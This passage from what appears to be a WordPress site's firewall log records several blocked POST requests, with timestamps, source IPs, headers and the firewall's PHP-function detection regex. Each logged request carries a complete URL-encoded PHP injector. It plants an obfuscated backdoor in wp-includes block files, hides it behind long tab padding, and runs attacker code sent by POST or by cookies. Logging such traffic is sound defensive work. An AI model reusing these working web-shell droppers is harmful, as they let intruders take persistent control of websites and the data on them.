2C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524flag%2520%253D%2520array_shift%2528%2524k%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524itm%2520%253D%2520sprintf%2528%2522%2525s\/.desc%2522%252C%2520%2524flag%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524itm%252C%2520%2524tkn%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524itm%253B%2520unlink%2528%2524itm%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:43:28","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> mP:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/term-description.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%253B%2520%2524a%2520%253D%25200%253B%2520while%2528%2524a%2520%253C%2520strlen%2528%2524ent%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524a%255D%2529%2520%255E%252034%2529%253B%2524a%252B%252B%253B%257D%2520%2524k%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524flag%2520%253D%2520array_shift%2528%2524k%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524itm%2520%253D%2520sprintf%2528%2522%2525s\/.desc%2522%252C%2520%2524flag%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524itm%252C%2520%2524tkn%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524itm%253B%2520unlink%2528%2524itm%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoINvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3887\n\nmP=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/term-description.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx61r%255Cx61me%255Cx74%255Cx65%255Cx72%255Cx5Fg%255Cx72oup%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%253B%2520%2524a%2520%253D%25200%253B%2520while%2528%2524a%2520%253C%2520strlen%2528%2524ent%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524a%255D%2529%2520%255E%252034%2529%253B%2524a%252B%252B%253B%257D%2520%2524k%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%255D%2529%253B%2520while%2520%2528%2524flag%2520%253D%2520array_shift%2528%2524k%2529%2529%2520%257B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524itm%2520%253D%2520sprintf%2528%2522%2525s\/.desc%2522%252C%2520%2524flag%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524itm%252C%2520%2524tkn%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524itm%253B%2520unlink%2528%2524itm%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:43:30","52.232.35.131","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/post-author-biography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B18%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B22%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrHtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3256\n\nyH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/post-author-biography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B18%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B22%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:43:34","43.230.201.87","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/post-author-biography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B18%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B22%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqRbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3256\n\ntJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/post-author-biography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B18%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B22%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:43:37","129.121.41.228","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qU:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/post-author-biography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B18%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B22%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google 